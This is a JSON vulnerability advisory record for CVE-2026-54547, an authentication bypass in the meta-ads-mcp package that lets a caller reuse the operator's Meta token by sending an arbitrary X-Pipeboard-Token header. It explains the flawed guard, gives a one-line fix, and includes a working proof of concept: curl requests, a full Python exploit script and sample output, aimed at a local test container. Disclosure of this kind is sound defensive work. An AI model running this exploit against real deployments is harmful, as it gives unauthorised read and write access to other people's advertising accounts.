{"id":"CVE-2026-54547","aliases":["PYSEC-2026-3484"],"url":"https://o3.security/vulnerability/CVE-2026-54547","summary":"meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token","details":"## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token:      # ← bypass condition\n    return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token      = None          # not set → guard reads False for left operand\npipeboard_token = \"<anything>\"  # truthy  → guard reads False for right operand\n→ (not None) and (not \"<anything>\") = True and False = False → 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n    return env_token\n```\n\n`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390–396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n-        if not auth_token and not pipeboard_token:\n+        if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n  -t vuln001-meta-ads-mcp \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 — Confirm the middleware is active (no-auth → 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 401  {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 200  {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}}  (37 tools listed)\n```\n\n**Step 5 — Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}'\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header)         → HTTP 401  {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) → HTTP 200  {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}}  (37 tools)\nTest 3 (tools/call, same header)→ HTTP 200  {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator's META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        curl \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length >= 20 so the server's basic validation passes.\n# This is NOT a real Meta token — used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n     \"--transport\", \"streamable-http\", \\\n     \"--host\", \"0.0.0.0\", \\\n     \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage   : meta-ads-mcp 1.0.113\nFile      : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n    if not auth_token and not pipeboard_token:\n        return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header — only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: <anything>\"\nmakes auth_token=None and pipeboard_token=\"<anything>\". The bypass\ncondition becomes:\n    if not None and not \"<anything>\":   # False — request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1  No auth header  →  HTTP 401 from middleware\nTest 2  X-Pipeboard-Token: <attacker value>  →  HTTP != 401 from MCP layer\n        (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n    docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n    python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n    sys.argv[1] if len(sys.argv) > 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value — NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90  # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -> tuple:\n    \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n    data = json.dumps(body).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(req, timeout=10) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n    except Exception as exc:\n        return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:\n    \"\"\"\n    Poll until the server returns any HTTP response (even 401).\n    Returns True when ready, False on timeout.\n    \"\"\"\n    deadline = time.time() + timeout\n    attempt = 0\n    while time.time() < deadline:\n        status, _ = http_post(\n            SERVER_URL,\n            {\"Content-Type\": \"application/json\"},\n            {\"jsonrpc\": \"2.0\", \"id\": 0, \"method\": \"ping\"},\n        )\n        if status is not None:\n            return True\n        attempt += 1\n        if attempt % 5 == 0:\n            elapsed = int(time.time() - (deadline - timeout))\n            print(f\"    ... still waiting ({elapsed}s elapsed)\")\n        time.sleep(1)\n    return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -> tuple:\n    \"\"\"Run one request, print result, and return (status, body).\"\"\"\n    print(f\"\\n[*] {label}\")\n    status, body = http_post(SERVER_URL, headers, payload)\n    print(f\"    HTTP Status : {status}\")\n    # Print up to 600 chars so long MCP responses are readable\n    print(f\"    Response    : {body[:600]}\")\n    return status, body\n\n\ndef main() -> int:\n    print(\"=\" * 65)\n    print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n    print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n    print(\"=\" * 65)\n\n    # -----------------------------------------------------------------------\n    print(\"\\n[*] Waiting for MCP server to be ready ...\")\n    if not wait_for_server():\n        print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n        return 2\n    print(\"[+] Server is ready\")\n\n    # Common headers for all requests\n    base_headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n\n    # A minimal MCP JSON-RPC payload.  In stateless-HTTP mode the server\n    # processes each request independently; tools/list does not require a\n    # prior initialize handshake.\n    list_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/list\",\n        \"params\": {},\n    }\n\n    # -----------------------------------------------------------------------\n    # Test 1: No authentication — must be rejected with 401\n    # -----------------------------------------------------------------------\n    status1, body1 = run_test(\n        \"Test 1: POST /mcp — no auth header at all\",\n        base_headers,\n        list_payload,\n    )\n\n    if status1 != 401:\n        print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n        print(\"    Middleware may not be active. Cannot assess bypass.\")\n        return 2\n\n    try:\n        parsed = json.loads(body1)\n        if parsed.get(\"error\") != \"Unauthorized\":\n            print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n            return 2\n    except json.JSONDecodeError:\n        pass  # Body format is secondary evidence\n\n    print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n    # -----------------------------------------------------------------------\n    # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works\n    #\n    # Vulnerability logic (http_auth_integration.py:259):\n    #   auth_token    = extract_token_from_headers(headers)       -> None\n    #   pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE\n    #   if not None and not ATTACKER_VALUE:   # evaluates False -> request passes\n    #   # set_auth_token() never called -> auth context stays None\n    #   # tool getter falls back to META_ACCESS_TOKEN env var\n    # -----------------------------------------------------------------------\n    bypass_headers = {\n        **base_headers,\n        \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n    }\n    status2, body2 = run_test(\n        f\"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n        bypass_headers,\n        list_payload,\n    )\n\n    if status2 == 401:\n        print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n        print(\"    The vulnerability may have been patched on this build.\")\n        return 1\n\n    print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n    print(\"    The middleware accepted the request with X-Pipeboard-Token alone.\")\n    print(\"    auth_token was None -> set_auth_token() not called ->\")\n    print(\"    get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.\")\n\n    # Extra detail: check if we can see MCP tool names in the response\n    try:\n        parsed2 = json.loads(body2)\n        tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n        if tools:\n            print(f\"\\n    MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n            for t in tools[:5]:\n                print(f\"      - {t.get('name', '?')}\")\n    except Exception:\n        pass\n\n    # -----------------------------------------------------------------------\n    # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta\n    # The Meta Graph API will reject the FAKE token, but the error response\n    # proves the request reached Meta (not the local 401 guard).\n    # -----------------------------------------------------------------------\n    call_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"get_ad_accounts\",\n            \"arguments\": {\"limit\": 1},\n        },\n    }\n    status3, body3 = run_test(\n        \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n        bypass_headers,\n        call_payload,\n    )\n\n    if status3 != 401:\n        print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n        print(\"    The tool call was not blocked locally. The server forwarded\")\n        print(\"    the request to Meta Graph API using META_ACCESS_TOKEN.\")\n        if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n            print(\"    Meta Graph API returned an OAuthException about the\")\n            print(\"    FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.\")\n        elif \"error\" in body3.lower():\n            print(\"    Meta Graph API (or MCP layer) returned an error response\")\n            print(\"    — the request reached the tool handler, not the local 401 guard.\")\n    else:\n        print(\"[!] Note: tools/call returned 401 — may need MCP initialize first\")\n\n    # -----------------------------------------------------------------------\n    print(\"\\n\" + \"=\" * 65)\n    print(\"RESULT: PASS — VULN-001 reproduced\")\n    print()\n    print(\"Evidence:\")\n    print(f\"  Test 1 (no header)           -> HTTP {status1} (blocked by middleware)\")\n    print(f\"  Test 2 (X-Pipeboard-Token)   -> HTTP {status2} (BYPASSES middleware)\")\n    print()\n    print(\"The distinction proves that AuthInjectionMiddleware at\")\n    print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n    print(\"An attacker can reach all MCP tools as the server operator by\")\n    print('sending any value in the \"X-Pipeboard-Token\" header.')\n    print(\"=\" * 65)\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","published":"2026-07-17T18:48:54Z","modified":"2026-07-23T15:11:27.804572936Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"meta-ads-mcp","fixedVersion":"1.0.115"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"},{"type":"PACKAGE","url":"https://github.com/pipeboard-co/meta-ads-mcp"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-23T15:11:27.804572936Z"}}